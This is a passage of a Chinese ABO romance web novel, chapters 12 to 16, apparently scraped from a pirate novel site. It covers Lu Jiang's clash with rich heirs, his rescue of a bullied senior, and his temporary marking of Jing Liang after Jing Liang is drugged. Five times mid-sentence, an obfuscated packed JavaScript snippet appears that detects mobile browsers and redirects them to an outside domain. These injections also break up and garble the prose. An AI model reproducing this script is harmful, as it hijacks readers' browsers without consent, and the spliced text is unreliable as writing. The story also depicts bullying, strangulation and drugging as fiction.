挑好礼物,俩人乘电梯来到商场地下停车场,景凉租了一辆宾利,停在那里很耀眼。 回去的时候九点多,这里离他们学校车程也就十来分钟。 两人在车上彼此都心事重重保持着沉默。 车子停下,卢绛的脑子才重新启机,他微弯腰提出其中一个小礼品袋,递到了景凉面前。 景凉瞪大着双眼惊在当场,声音滞涩:“什么?” 卢绛:“送你。” 景凉一时被突如其来的惊喜冲懵,下意识问了句:“我戴发夹合适吗?” 卢绛错愕,战术性地摸了下后颈:“你要是喜欢戴发夹,也不是不可以。” 只是发夹他随便拿的,没有用心。 景凉回味过来,一层绯红从脖子爬上双颊,赶紧接过了他递来的礼袋,“谢谢,你还送我这么贵重的东西。” 这条手链十二万八,发夹的价格连它尾数都不及,景凉是真的没有想到,他会把手链送给自己。 “你送苏小姐的发夹,会不会太……” 太随便?太廉价?这么说好像都不合适。毕竟两万多的发夹不能说廉价,只是相较于手链来说,就不够看了。 谁知卢绛理所当然道:“我又不认识她,两万多的发夹应该够了,反正没有回礼的可能。” “啊?”景凉后知后觉,他好像搞错了什么,“那你说要去见一个很重要的人,是?” 卢绛:“是计算机的一个学长,我找他想做一个功能性的社交软件。” 12. 第12章 听到这个回答景凉沉郁的心豁然开朗,笑道:“原来是这样。” 卢绛:“今天谢谢凉哥陪我逛商场。” 景凉:“谢什么?客气!我明天见完客户就要回帝都了,看来明天是不能一起吃饭了?” 卢绛下意识想约他寒假一起吃火锅,但又忍住了。 要是真对他没那个意思,还是不要有太深的纠缠,景凉是个很好的人,值得有人真心待他。 卢绛:“凉哥,我回寝室了,再见。” 景凉:“好,再见,阿绛弟弟。” 卢绛下了车,目送他的车在黑夜中远去。 他紧了紧外套,十月底的南城持续的湿冷更加明显,冻起来也要命。 * 回到寝室,室友打游戏打得正起劲,卢绛如往常打水洗漱,几乎与人没有交流。 卢绛这段时间正在备考FECT,所以没有上床,一边擦着头发坐到了书桌前打开电脑找了几篇专业的英文论文进行翻译,这也是作业之一。 他在前世就考过了托福,现在只是需要了解更多的专业术语和专业名词,所以没有什么特别的难度。 卢绛做事学习很专注,并没有发现室友此时看他的眼神有些怪异。 “卢绛,你的外套是visha冬季最新上架的成衣款吧?好几万呢!” “不会是你的omega给你买的吧?” “原来你的omega这么有钱吗?” “你今天回来这一身加起来可不便宜,羡慕,也介绍几个有钱的omega给我们认识呗!” …… 卢绛忍了他们很久,退一步海阔天空,忍一时越想越气。 他们老这样阴阳怪气也不是一两次了。 卢绛没好气的摔下手里的书,转过椅子看向他们,说了句:“我的omega有没有钱,与你们有什么关系?” 三个室友面面相觑,他们没想到脾气很好的卢绛会这么大声怼人。 “你什么意思啊?做为室友,问都不能问吗?” “室友之间关心一下而己,你不要太敏感。” 卢绛:“别人的私事少过问,你们爸妈没教过吗?” 其中一个室友像是被踩到尾巴瞬间炸毛了,愤然起身一副要干架的凶狠劲儿,“你有没有点素质?好好说话会死啊?干嘛上升到父母?你tm是孤儿吗?!” 卢绛一副要干架就干的决然,起身迎了上去,往那室友跟前一站,足足比他高一个头,室友气势顿时输了一大截。 “你再说一次。” “说,说什么?” 卢绛眼角飞红,愤愤道:“我不搭理你们,不是因为我怕你们,是因为无所谓,你们要是敢一而再再而三的踩我底线,以后谁都别想好过!” 有人拉了拉那挑架的室友,小声说了句:“别冲动,他今天看起来不对劲儿,算了算了。” 卢绛平时没什么存在感,可不知为何,今晚的压迫感很吓人,让三个室友头皮发紧噤若寒蝉,默不作声的坐了回去。 卢绛见他们老实了,便重新回到书桌前深吸了口气,努力集中精神继续学习。 那天晚上卢绛一睡着就开始做噩梦,他梦到了十四岁那年暑假。 因为上学的时候,被人冤枉偷了钱,老师把丢钱的孩子和他一起叫到了办公室。 对方还叫了爸爸妈妈,从他身上搜出仅有的攒了三年的零钱,一共一百二十二块。 对方明明知道这不是他丢的钱,还死咬着就是卢绛偷的,可能是因为冤枉了别人拉不下脸面。 最后对方的父母很大度开明说原谅他,毕竟是没有爸妈教养的孩子,所以才会偷别人的钱。 卢绛委屈了很久很久,有很长时间一做梦就委屈到哭,醒来时枕头都是湿的。 也是从那时候开始,他对父母和家人有了执念。 为了寻找到亲生父母,他悄悄偷溜进档案室,找到了亲生父母的资料,打了一个月的工攒了些钱,自己坐大巴车去找他们。 他远远看到了自己的亲生母亲,不过三十四五的年纪,却满脸沧桑的褶子,头发枯黄,穿着破旧的棉麻衣衫,像个无情的杀鱼机器,在菜市场给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735959|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人杀鱼。 没客人的时候就匆忙扒两口冷饭填一下肚子,筷子上还沾着鱼血。 她看起来过得一点都不好,生活的苦闷把她磋磨得几近麻木。 他假装是客人去买鱼,她连头都没抬,没有看他一眼,只是将带着腥味和湿气的袋子递到了他面前:“二十五块。” 卢绛差点就要与她相认,想问问她,还记不记得十四年前她扔过一个孩子? 之后女人接了一个电话,从对话过程中得知是她的儿子跟人打架在派出所让她去领人,女人气急败坏,一边骂一边收了摊子焦急赶了过去。 他的亲生父亲也已另成了家,有一家四口,他看起来是个好爸爸,让小女儿骑着高马,一手牵着十岁的儿子,旁边的女人一脸幸福的笑。 卢绛站在墙角看着他们,男人注意到了他,但也只是好奇的看了两眼,然后推门进了小院。 原来,他们也没那么冷血无情,也是有爱的,只是不爱他罢了。 梦里的十四岁,又开始伤心的躲起来哭,仿佛世界上再没有谁比他更难过。 然后他就醒了,枕头上都是泪水。 其实醒来之后,那种悲伤难过就像潮水一样会很快退去,现实与梦境割裂。 他淡然的擦了擦泪水,摸到了充满电的手机,想打开看一眼是什么时间了。 凌晨一点半,才睡了三个小时。 手机顶端有一条未读消息,卢绛翻了个身,点开了未读消息。 【景凉:正在缓冲.jpg正在缓冲.jpg正在缓冲.jpg】 等了一会儿,图片都打开了,拍的都是手,白皙的手腕上戴着他送的那条白金钻石手链,跟想像中的一样好看。 【景凉:你觉得怎么样?好看吗?】 卢绛点开图片放大,发现景凉的手真的很好看,手指纤长指关节不突出,指甲圆润干净,线条流畅优美却又感觉很有力量。 【卢绛:好看。】 他刚要放下手机,谁知景凉居然秒回了。 【景凉:你说手链好看,还是我的手好看?】 13. 第13章 卢绛犹豫了片刻,虽然掩不住的暧昧,但抵不住骨子里的实诚。 【卢绛:因为手好看,所以手链戴着才会好看。】 【景凉:嘴真甜。】 【卢绛:我没哄你,是事实。】 【景凉:小朋友怎么还没睡呢?熬夜会影响身体发育哦。】 【卢绛:奔二十了,身体还会有什么发育吗?】 【景凉:那可说不准,我二十岁还长了一公分。】 【卢绛:我觉得够用就好了吧,没必要追求太长,不过这个年纪了,那里还会长吗?】 【景凉:啊哈?弟弟你在说什么?小脸通黄.JPG】 【卢绛:不是你说长了一公分吗?】 【景凉:掐人中.JPG我说的是长身高,你说的是长什么?】 卢绛一下醒了觉,用力搓了把通红的脸,社死! 【景凉:是有什么烦心的事吗?跟哥哥说,哥哥帮你分析分析。】 【卢绛:我做噩梦了。】 【景凉:别怕,噩梦跟现实都是反的。】 【卢绛:所以,我现在的这个世界才是真的,以前的世界都是我的噩梦吗?】 【景凉:啊哈?萌兔震惊.JPG弟弟你现在的精神状态还好吗?】 【卢绛:哥,还是不聊了,我睡了晚安!】 【景凉:呃……好吧,你赶紧睡一觉清醒清醒,晚安。】 没事没事,赶紧睡觉,睡一觉醒来就当无事发生,忘了今晚的聊天。 啊,对,先清个屏。 OK,睡觉。 * 晚上七点,卢绛拿了请贴来到晚宴现场。 上来才知道蓝河俱乐部的楼顶有一个很大的露天游泳池,好多俊男靓女穿着泳衣在水中嬉闹。 泳池的水是热的,远看白雾缭绕,镁光灯一照,DJ一响,群魔乱舞四个字浮现在卢绛脑海中。 卢绛将礼物交给门口接待员登记,拘谨的将双手放进外衣口袋,站在角落像只受惊的鹌鹑。 人好多啊,他要怎么找那位霍临? 卢降并不知道,他一出现在party,立时就吸引了好几道视线的关注。 “他还真敢来?”祝修杰坐在U形真皮沙发里饮着香槟,身边还围着一群同阶层的富二代。 苏琪无奈睨了他一眼:“人是替你弄来了,你别太过份,毕竟是我的场子。” 祝修杰邪笑了声:“苏琪妹妹放心,我有分寸。” 苏琪翻了一个白眼,翘腿嫌弃别开脸去,“谁是你妹妹?” 要不是看在他们祝家在帝都占有一席之地的面儿上,她根本不想搭理这人。 不学无术的混蛋! 卢绛正想向旁边的人打听一下霍临在哪,一道身影自来熟的冲出来,手臂勾住了他的肩膀。 “小弟弟,我们大哥找你谈心,过去坐坐呗!”那alpha很没边界感的强行用手腕扼着他的脖子,将他往U形沙发那边带去。 卢绛被一把推到了祝修杰面前,他踉跄了好几步才站稳。 “你小子很装嘛,见到我们大哥都不会打招呼吗?” 表演型小弟开始了他的表演,曲膝想从后面袭击,卢绛敏锐一个闪躲,不着痕迹拿脚绊了他一下,让他给大家拜了个早年。 “kao,你小子疯了?干嘛突然下跪?” “是他绊了我一下!” 卢绛双眼透着大学生的清澈:“不关我的事,是你自己要跪的。” 祝修杰见他这么拽,面子有点挂不住,不给他一点教训,他在F大还有什么排面? “过来,给我们倒酒。”祝修杰命令他。 卢绛不想惹事,真要在这打起来,他肯定也讨不到什么好处,思量再三,淡漠着脸上前拿过酒瓶,正准备给他倒酒。 谁知祝修杰挪开了酒杯,“谁让你站着给人倒酒了?现在倒酒都是跪着倒,懂不懂规矩?” 卢绛顿时心生一阵厌恶,“凭什么?” 听到他的质问,这群富二代放笑得前仰后合,似乎听到了什么了不得的笑话。 “祝少这是打哪儿找来的小天真?哈哈哈……” “凭什么?凭我们是你爹!” “贫民窟里的臭虫总是把自己太当回事,真以为这个世界人人平等吗?” “哈哈,下贱的穷三代!真可怜!” 祝修杰嘲讽一笑:“怎么那么不识趣?别没事找事,赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735960|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧跪下倒酒!” 卢绛胸膛起伏不定,咬紧了牙关,一手扣过酒瓶,用力挥向了这群傻B。 酒水从瓶子里甩出,富二代们尖叫着躲避,但还是没能幸免被泼了一头一脸。 “你找死!” 祝修杰裹挟着一身狂傲,冲上前薅起卢绛额前的头发,当对上卢绛那双深邃如寒渊的眸子时,祝修杰明显愣了几秒。 “卢……卢,卢哥?” 卢绛紧抿着唇,表面稳得一匹,其实内心是有点慌的。 祝修杰悄摸咽了口唾沫星子,从吃人的大老虑变成小猫咪不过几秒钟。 他狗腿又小心翼翼的将卢绛额前抓乱的刘海理顺,“卢哥,一个暑假加大半个学期不见,我都认不出你了,你变化也太大了叭!” 卢绛与原身气质完全不一样,外型变化也非常大,这大半年卢绛个子最后冲刺,足足窜了五公分,再加上他每天都有跑步锻炼,身体结实很多。 跟他不熟悉,走在路上碰到不认识也很正常。 卢家在帝都的地位显赫,原身身为卢家独子,唯一的卢氏继承人,被这一群富二代众星捧月着。 祝修杰见他不说话,沉重的拍拍他的肩膀,套着近乎:“什么也不必说,兄弟懂的。” “你懂就好。”完全不知道他在懂什么。 祝修杰:“那你现在是自由的吗?” 自由?难道原主之前不自由吗? 祝修杰轻叹了口气:“你爸也真是不讲道理,你都成年了,要交什么朋友,要和谁结婚那都是你的权利,他这也要管那也要管,我真的服了!” 卢绛:“啊,是。”面无表情。 祝修杰扶着卢绛坐到了自己原先的沙发位置上,还体贴的给他擦了擦沙发周边沾着的酒渍。 “来,卢哥你坐。” “卢哥,我给你倒酒,你看我这姿势跪得标准吗?” 祝修杰此时也顾不上什么体面不体面,狗腿的跪下给卢绛倒酒。 帝都权贵圈子,等级森严,三六九等分得格外清,祝修杰就是圈子里的三等人。 一起玩的时候,卢绛那群人就经常寻他开心,别说跪下给他倒酒,就是之前趴在地上学狗叫也有过。 14. 第14章 祝修杰在南城富二代圈子里算是顶层那一挂,如果连他都要在这个姓卢的面前卑躬屈漆,谄媚讨好,那这个卢绛…… 一瞬间几乎所有人都猜到了卢绛的来头。 帝都只有一个权贵卢氏,掌管着全国最大的商会,拥有最多的楼盘开发权,涉及领域广泛,一抬脚一挥手,就能让整个商界跟着颤一颤。 他们做梦也不会想到,卢家的继承人会考到F大来念金融管理,明明帝都有最好的金融大学,而且还这么低调。 难道是卢家继承人特有的一种考验? 卢绛浑身僵硬,面无表情。 好窒息啊,想藏起来,感觉连呼吸都不顺畅了。 “卢哥,喝酒,你想吃什么我去给你拿?” 所有人噤若寒蝉,因为卢绛的脸色看起来很冷,周身散发着生人勿进的气息,几乎要将人冻伤。 是刚才他们的行为惹怒了他吧? 在场的人向祝修杰投去求救的眼神,希望能有办法消消卢绛的怒火。 祝修杰也如履薄冰,不堪重负,毕竟这位太子爷性格本就阴晴不定,喜怒无常,手段还极其狠辣。 “卢,卢哥……您,有什么吩咐?” 卢绛暗抽了口气,想要放松心情,在他们看来这是在隐忍怒火,今晚全得遭殃。 “卢哥,您说句话吧,您不说话大家都……都害怕。” 卢绛垂眸看向脚边瑟瑟发抖跪着的人祝修杰,说:“我要找霍临。” 找霍临? 八成是霍临太嚣张,得罪了卢绛! 今晚能不能脱身,全看霍临惨不惨了。 “卢哥,霍临那小子正帮您收拾着呢!” 卢绛疑惑:“为什么要收拾他?” 祝修杰一脸谄媚的笑:“那家伙最喜欢抢别人的风头,还拒绝了苏琪的告白,他一个一穷二白的农村土包子,您说凭哪一点?” 苏琪狠狠瞪了祝修杰一眼,恨他把她拉出来挡枪。 卢绛:“在哪?” 祝修杰指向不远处的游泳池:“在水里泡着呢!” 卢绛顺着他指的方向看去,只见一群人看似是朋友间的打闹,实则在霸凌。 霍临一身湿透被他们摁在水里,挣扎着透了一口气,又被他们死死摁了下去。 一群人肆无忌惮的笑闹着,没有意识到是在做恶。 祝修杰掩嘴笑,“您放心,今晚他都别想从那池子里出来!” 卢绛的脸更冷了,他缓缓起身,一脚用力朝祝修杰的左肩踹了上去。 祝修杰哭嚎着滚出一米远,抖得更厉害,他完全不知道自己做错了什么,卢绛为什么要踹他。 卢绛快步走到泳池旁,心中的愤怒已经让他战胜了成为焦点的恐惧。 从前,他被人欺负的时候,无人救他。 现在别人在他眼皮子底下被欺负,他能救! “住手!” 卢绛的喝斥声似乎有着灵魂的穿透性,震摄人心。 他们终于停了手,霍临挣扎着游到了岸边,卢绛朝他伸出手,将他拉了上来。 霍临大口地喘着气,抹了把脸上的水,十月底的冷风一吹,冻得直哆嗦。 不知是谁见风使舵的给卢绛递了一块毛巾。 卢绛又将毛巾递给了霍临:“你,你擦一擦。” “谢谢。”霍临抬眸打量了卢绛一眼,总觉得他很面熟,好像在哪里见过。 “我们在哪里见过?” “应该没有。对了,我叫卢绛,霍学长你好。” “你姓卢?”霍临盯着他的表情渐渐古怪,也不知突然想到了什么,他下意往后退了一步,铁青着脸自言自语:“他不是早就死了吗?一年前就死了。” 卢绛:“霍学长?” 霍临瞪大着眼睛,神神叨叨地,“简直见鬼了!” 说完这句话,霍临跌跌撞撞的就跑出了楼顶。 回想刚才霍临说的话,卢绛浑身起了一层鸡皮疙瘩,猛地追了上去。 “霍学长!!”卢绛在电梯关上的最后一秒赶上,横插了一脚进了电梯。 霍临警惕的盯着他,电梯缓缓下降。 “霍学长刚才……什么意思?” 此时霍临似乎已经冷静了下来,“没什么。” 卢绛皱眉,过于迫切抓过他冰冷的手腕,“你说,你说他早就死了,死在一年前,你是在说我吗?” 霍临冷漠的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735961|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甩开了他的手,“你听错了。” 卢绛:“其实我确实……”他确实一年前就死了,不,是原身死了。 霍临厌烦地打断了他的话:“你找我有什么事吗?” 卢绛这才想起来今晚找他的初衷。 “我想请霍学长帮我做一个多功能社交软件,当然,是有偿的。” 霍临想也没想就拒绝了他:“没时间,简单的app计算机系的学弟学妹们都能做,而且价格还很实惠,你可以找别人问问。” 卢绛十分执著:“学长好好考虑一下,我想请学长做这个APP,也是考虑到后期的日常维护,价钱都好商量。” 霍临兴趣缺缺:“有关于app的商业计划书吗?其实如果只是简单需求,我自己做了个软件可以一键生成app,不收你钱。” 卢绛点头:“有商业计划书的,要不我们找个地方,坐下详谈?” 霍临不明一笑:“真是够荒谬的!” 卢绛心中隐约觉得这个霍临对他重生的事情,好像知道一些秘密,但是他并没有打算泄露半分。 “我不懂学长说的荒谬是指什么?” “你……算了,你先加我吧。” 霍临从口袋里拿出手机,甩了甩水,好像不能开机了。 卢绛生怕他反悔,说道:“你告诉我电话号码,我回头再打给你。” 霍临:“122*******。” 卢绛顺利将霍临的号码存下。 两人一起走出电梯,这个时间蓝河俱乐部的门口已经没有那么挤拥。 “学长,我来叫车吧,先送你回去。” 这个地段这个时间是打不到车的,霍临手机又开不了机,所以没有拒绝,“多谢。” “不用客气。”卢绛打开手机软件叫了一辆网约车。 霍临烦躁的掏出湿透的烟盒,在掌心攥成一团准确无误的扔进一旁垃圾桶,浓眉紧锁,他无奈扭头看向卢绛,“那个,一百块有吗?回头还你。” 卢绛想也未想,从背包小格子里拿出一百块递给了霍临,“不用还。” 霍临玩味一笑:“卢少大气啊!”说着扬了扬手里崭新的一百块,去了一旁的小卖部买烟。 15. 第15章 卢绛扭头目送他走进小卖部,眼角的余光不经意扫过蓝河的大门口,却瞥到了一道熟悉的身影。 能在这里碰到景凉其实并不意外,毕竟蓝河俱乐部是南城最高档的夜总会,上流人士的集中地。 他身边缠着一个年轻的alpha,景凉看起来像是喝醉了脸色绯红,连站都站不稳,肢体上对这个alpha已经表现得很抗拒了,但是这个alpha依然纠缠不休。 眼看这个alpha强硬的就要带他离开,卢绛大步上前一把拉过景凉,将那个陌生的alpha粗暴地推开。 卢绛压低着嗓音,眼神如刀,怒问:“你想干嘛?” Alpha并不知道他们认识,以为是来多管闲事的,笑道:“别误会,我的omega喝醉了,正跟我闹脾气呢!” 景凉咬牙切齿:“谁是你的omega?” Alpha:“好啦,我都跟你认错了,跟我走吧!”说着,眼神凶狠的上前去拽人。 景凉嫌恶的往卢绛身后躲了下,那alpha连他衣角都没碰到,只见卢绛像是疯了一般掐过他的脖子,将他狠狠往墙上推去。 “放,放开!你,你想杀了我?” “他都说不愿意了,你听不懂吗?真是恶心!” 卢绛双眼浮现一片血色,五指收紧得越来越用力。 这些人都该死!都说不愿意了,还要做这种事,像畜生一样只顾发泄自己的私欲,根本不在乎别人会不会痛苦。 眼看alpha就要窒息昏过去,景凉冲上前拼命去拉卢绛,他不太正常,像是突然被什么刺激到了失去了理智。 “阿绛!阿绛你快放手,他会被你掐死的!”景凉想扳开他的手,但像卢绛这种等级的alpha,力量跟他的信息素一样都强悍得可怕,拉了半天纹丝不动。 “阿绛弟弟,我不太舒服,你先放开他行不行?” 终于,卢绛好像听进去了,眼中的血色退去,像扔垃圾一样扔开了手中的alpha扭头去看景凉,“你哪儿不舒服?要不要去医院?” 他眼里的真挚与担忧让景凉为之动容,至少这一刻景凉觉得,卢绛是很在乎他的。 景凉之前一强撑着身体,一旦放松,整个人脱力的往后倒去。 卢绛心下一紧,一把将他拽进怀里,将他扶起,小声问他:“凉哥,你是不是……情热来了?” “嗯。”景凉将脸埋入他的胸膛,疯狂的用力嗅着属于他的气味,好淡,几乎要闻不到。 卢绛闻到了他身上蹭到了别的alpha的气味,莫明的不受自己控制的,一阵不爽。 那个alpha这时才看明白,计划功亏一篑,“你们,你们认识?” 卢绛愤恨的瞪向他,从牙关一字一顿道:“滚!不然杀了你!” Alpha被吓得狠狠打了一个冷颤,连滚带爬的跑了。 此时景凉的身体软得不像话,因隐忍汹涌的情热眼角发红,眼底氤氲着泪光,连呼吸都在发颤。 “我闻不到你身上的信息素。”景凉语气不经意带着急切与委屈。 卢绛的心不自觉紧缩了下,开始释放信息素安抚怀中的人。 景凉将脸埋在进他的肩胛处,用力嗅着卢绛信息素的气味,沉迷其中无法自拔。 以后要是闻不到他的信息素怎么办?会不会死啊? 果然还是要想办法和他结婚的,只有结了婚,成为他一个人的alpha,就能永远闻到他的信息素了。 * 霍临买了烟,倚着小卖部的墙,立时点了一支狠抽了口,呼出的白气与缭绕的烟雾混合在冰冷的空气中。 透过朦胧的白雾他看到景凉那张精致的脸时,霍临惊得嘴里的烟掉到了地上。 他很快冷静下来,指尖却掩不住的颤抖,又点了第二支烟。 原来这个人也会露出这种迷恋沉醉的表情。 像只被驯服的野猫,乖顺得忍不住叫人心生怜惜,这个模样没有哪个正常的alpha能拒绝得了。 “呵,真是……有意思!” 霍临叼着烟,转身走入人群,消失在沉沉的夜幕中。 因为卢绛的信息素,景凉的情热稍有缓解。 “周助没有陪你一起来吗?” “他去取车,还没回来。” 不太对劲,按理说周洲应该早就取车过来了,怎么现在还没到? “阿绛,你替我,打个电话给他,我现在没力气……” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735962|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。” “手机在我,在我外衣右手口袋里。” “密码?” “**1110” 通话记录最上的就是周洲的电话号码,卢绛直接拨了过去。 那端很快接了。 “小景总,不知道怎么回事,车轮爆了,我现在正联系维修厂的人过来,可能要等一个多小时,我正要打给你呢,要不你在附近找个酒店开个钟点房?” 景凉眸光幽黯,看来今天是他们计算好的,如果没有遇卢绛,简直不堪设想。 “他要你在附近开个钟点房。” “嗯……” “欸?小景总,我怎么听到卢绛的声音了?” “周助,是我,卢绛。” 听到是卢绛,不知为何周洲一下松了口气,虽然在他看来卢绛也不靠谱,但比起姓荆的那个alpha安全得多。 “我们小景总先麻烦卢少照顾了。” “嗯,会的。” 卢绛挂断电话,将手机重新塞到了景凉外衣口袋。 他下意识回头看向小卖部,想跟霍临说一声,但霍临早就不见了身影。 卢绛只得先扶着景凉去附近的酒店临时开了一间房。 将景凉放到床上,卢绛拧开了一瓶水,让景凉靠在怀里,将水递到了他唇边。 “凉哥,你喝点水。” “谢谢。” “嗯。” 冰凉的水让身体的燥热稍微缓解了些,但还是远远不够。 景凉拼命的嗅着卢绛身上散发的信息素,身体不自觉的接受本能往他怀里钻。 “阿绛……” 景凉神智虽有些恍惚,但他知道自己在做什么。 这是他留在南城的最后一晚,如果错失机会,只怕之后他和卢绛的婚事就更难把控。 “你要不要和我上床试试?”景凉的声音很软,呼吸很热,带着一种致命的蛊惑。 卢绛吓了一跳,下意识地推开了他,景凉因情热浑身无力,身体狠狠摔向床铺,头撞得好晕,难受的闷哼了声。 卢绛也知自己刚失了力道,想要上去查看情况,但上前了一步又停了下来,只是无措的看着床上因情热而倍受折磨的男人,进退两难。 16. 第16章 “呵……”景凉将脸埋在枕头里,闷声笑了,虽然在笑但听不出一丝愉悦,“抱歉,我是不是太心急了?” 卢绛听到他道歉,心脏紧缩了下,“对不起凉哥,是,是我的问题,你值得更好的人。” 景凉无奈一笑,第一次这么不要脸豁出去勾引alpha,居然被毫不留情的拒绝了。 “啊~”景凉窘迫的搓了把脸,“我真是丢人!” 卢绛有些不忍,还有拒绝别人后的愧疚感,“不丢人,真的。我没有觉得你丢人,反而很勇敢。” 换作是他绝对不可能!再怎么喜欢也不会做到这个程度的。 景凉:“你真的这么想?” 卢绛无比真挚:“嗯!” “那家伙在我酒里放了东西,本来你的标记可以安然无虞的帮我渡过整个发情期,没想到……真是胆大包天,恶心至极!” “你怎么会认识这种人?” “客户的儿子,都是为了利益,觉得我是一个omega好拿捏。” 卢绛看着他沉默了,哪怕他的身家高出对方很多,只因为是一个omega,对方便敢赌一把。 要是景凉真被那个alpha永久标记,他的骄傲会被催毁,他的人生会变得一团糟,跌入深渊再无出头之日。 “你会因此看轻我吗?” “为什么?” “我一个未婚omega总在声色犬马中混迹,今天的事情其实不是第一次,也不会是最后一次。” “其实我怎么看你不重要,重要的是自己本身,做为一个omega你能走到今天,稳坐这个位置,你就绝不会是一个随波逐流,在再乎他人怎么看你的人。” 这句话深深击中景凉的心,让他坚韧不催的一颗心柔软得一塌糊涂。 “可我,有点在乎你的看法。”景凉抬眸认真注视着卢绛。 卢绛呼吸一窒,垂眸躲开了他灼热的视线,十指紧张的蜷曲。 “说啊,你怎么看我的?”景凉长睫轻颤压低着嗓音,悄悄靠近了他。 Alpha的嗅觉敏锐,虽然那个alhpa留在他身上的信息素很淡,但卢绛还是觉得刺鼻。 这是alpha刻在基因里的本能反应,对omega的独占欲绝不会允许别的同性染指。 “那个,气味……” “啊!”景凉反应过来,低头嗅了嗅自己身上的气味,一脸嫌恶,“我想去洗个澡,太臭了。” 卢绛猛地拉住了他,“不行的,你喝了酒又中了药,现在去洗澡很容易感冒。” “那怎么办?那家伙的信息素好恶心,你要不……抱抱我?用你的信息素覆盖掉?” 满满的诱惑,但被诱惑的当事人没察觉,只觉得景凉这个样子惹人心疼。 卢绛走了过去将景凉抱入怀中,用自己的信息素将他全身上下,里里外外都侵入了个遍。 直到只剩下他的气味。 “我想要一个临时标记,可以吗,阿绛弟弟?” 卢绛没有回答,只是拿微凉的鼻尖轻抵了下他的后颈示意,景凉嘴角扬起,垂下头将自己的后颈以最大程度暴露在卢绛面前。 他的后颈白皙脆弱修长,骨节分明,上面还留着之前的咬痕。 Alpha本能的舔了舔自己留下的咬痕,然后猝不及防的满是占有欲地咬了下去。 景凉长睫如蝶翼震颤,双耳的嗡鸣声与窒息感像是溺水之人紧迫慌乱,想逃,难受过后,是犹如飘在云端的轻快与舒爽,这种感觉叫人上瘾。 额前的留海凌乱垂落,遮住了景凉汗湿的脸颊,因生理泪水而氤氲的双眸有些失神。 直到标记快要结束,景凉的意识才渐渐回笼,身体的畅快与慵懒替代了情热的难受感。 他笑意渐深,晶亮的眸子藏不住的野性与兴奋,戴着手链的那只手,在卢绛没有注意时,与他十指相扣。 是他的!这个alpha只能属于他! 标记结束后,卢绛盯着景凉后颈渗出的血珠,喉结滚动了下,纠结了很久,直到那滴血珠正沿着他的后颈开始往下淌。 卢绛虔诚地顺着那道血痕,舔得干干净净,这一刻灵魂仿佛得到了升华,满足感溢于言表。 逐渐适应alpha后,被本能支配做出的行为举止,他感觉自己在逐渐变态。 他不应该被本能支配,毕竟,他是个人。 满足过后,他又开始懊恼悔恨。 下一次,一定不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735963|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再这样了。 清醒后的卢绛第一时间抽回了被景凉紧扣的手,有些局促,“凉哥,你先休息一下,我,我去洗手间洗把脸。” “嗯,去吧。”景凉的声音温柔得几乎要滴出水,微笑着目送卢绛去了洗手间。 反锁上洗手间的门后,卢绛将水开到了最大,冰冷的水泼在脸上如刀割般的刺痛。 Alpha都会这样吗? 哪怕对对方不是那样的感情,却依然对一个omega充满了占有欲。 受信息素的影响,甚至失去理智与判断。 因他等级很高,几乎不会受omega信息素的影响,但也不是绝对,像这样与景凉贴近并进行临时标记,信息素交融多少还是会有影响。 他不敢想像一般的alpha,在这种情况下,可能早已失控像野兽一般全凭本能了。 这个世界的信息素,真是可怕的东西。 冷静了几分钟后,卢绛推开洗手间的门走了出去。 景凉正倚在床头给周助打电话。 